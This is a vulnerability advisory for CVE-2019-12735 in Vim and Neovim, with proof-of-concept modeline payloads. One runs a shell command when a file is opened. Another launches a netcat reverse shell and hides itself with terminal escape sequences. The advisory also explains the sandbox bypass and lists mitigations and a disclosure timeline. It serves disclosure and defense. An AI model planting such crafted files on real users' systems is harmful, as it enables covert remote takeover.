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by Arminius (@rawsec)

Vim/Neovim Arbitrary Code Execution via Modelines

Product: Vim < 8.1.1365, Neovim < 0.3.6
Type:    Arbitrary Code Execution
CVE:     CVE-2019-12735
Date:    2019-06-04
Author:  Arminius (@rawsec)

Summary

Vim before 8.1.1365 and Neovim before 0.3.6 are vulnerable to arbitrary code execution via modelines by opening a specially crafted text file.

Proof of concept

  • Create poc.txt:

    :!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
    
  • Ensure that the modeline option has not been disabled (:set modeline).

  • Open the file in Vim:

    $ vim poc.txt
    
  • The system will execute uname -a.

Proof of concept 2 (reverse shell)

This PoC outlines a real-life attack approach in which a reverse shell is launched once the user opens the file. To conceal the attack, the file will be immediately rewritten when opened. Also, the PoC uses terminal escape sequences to hide the modeline when the content is printed with cat. (cat -v reveals the actual content.)

shell.txt:

\x1b[?7l\x1bSNothing here.\x1b:silent! w | call system(\'nohup nc 127.0.0.1 9999 -e /bin/sh &\') | redraw! | file | silent! # " vim: set fen fdm=expr fde=assert_fails(\'set\\ fde=x\\ \\|\\ source\\!\\ \\%\') fdl=0: \x16\x1b[1G\x16\x1b[KNothing here."\x16\x1b[D \n

Demo (victim left, attacker right):

Reverse shell demo

Details

The modeline feature allows to specify custom editor options near the start or end of a file. This feature is enabled by default and applied to all file types, including plain .txt. (Note that some OSes ship with a custom vimrc that explicitly sets nomodelines, e.g. Debian. So if you use their custom default vimrc instead of Vim's native defaults, you're safe.) A typical modeline:

/* vim: set textwidth=80 tabstop=8: */

For security reasons, only a subset of options is permitted in modelines, and if the option value contains an expression, it is executed in a sandbox: [1]

No other commands than "set" are supported, for security reasons (somebody
might create a Trojan horse text file with modelines).  And not all options
can be set.  For some options a flag is set, so that when it's used the
|sandbox| is effective.

The sandbox is meant to prevent side effects: [2]

The 'foldexpr', 'formatexpr', 'includeexpr', 'indentexpr', 'statusline' and
'foldtext' options may be evaluated in a sandbox.  This means that you are
protected from these expressions having nasty side effects.  This gives some
safety for when these options are set from a modeline.

However, the :source! command (with the bang [!] modifier) can be used to bypass the sandbox. It reads and executes commands from a given file as if typed manually, running them after the sandbox has been left. [3]

:so[urce]! {file}       Read Vim commands from {file}.  These are commands
                        that are executed from Normal mode, like you type
                        them.

Thus, one can trivially construct a modeline that runs code outside the sandbox:

# vim: set foldexpr=execute('\:source! some_file'):

An additional step is needed for Neovim which blacklists execute(): [4]

execute({command} [, {silent}])                         *execute()*
                Execute {command} and capture its output.
                [...]
                This function is not available in the |sandbox|.

Here, assert_fails() can be used instead, which takes a {cmd} argument, too: [5]

assert_fails({cmd} [, {error} [, {msg}]])               *assert_fails()*
                Run {cmd} and add an error message to |v:errors| if it does
                NOT produce an error.

The following modeline utilizes a fold expression to run source! % to execute the current file, which in turn executes uname -a || "(garbage)" as a shell command:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

Additionally, the Neovim-only function nvim_input() is vulnerable to the same approach via e.g.:

 vi:fen:fdm=expr:fde=nvim_input("\:terminal\ uname\ -a"):fdl=0

(In the past, other modeline-related vulnerabilities have been patched in Vim - see CVE-2002-1377, CVE-2016-1248.)

Patches

Beyond patching, it's recommended to disable modelines in the vimrc (set nomodeline), to use the securemodelines plugin, or to disable modelineexpr (since patch 8.1.1366, Vim-only) to disallow expressions in modelines.

Check if you have modelines enabled by opening vim and entering

:set modeline?

If vim returns nomodeline, you are not vulnerable. If you are vulnerable or want to ensure your security with this issue, add these lines to your vimrc:

set modelines=0
set nomodeline

Timeline

- 2019-05-22 Vim and Neovim maintainers notified
- 2019-05-23 Vim patch released
- 2019-05-29 Neovim patch released
- 2019-06-05 CVE ID CVE-2019-12735 assigned

Also see description of CVE-2019-12735.

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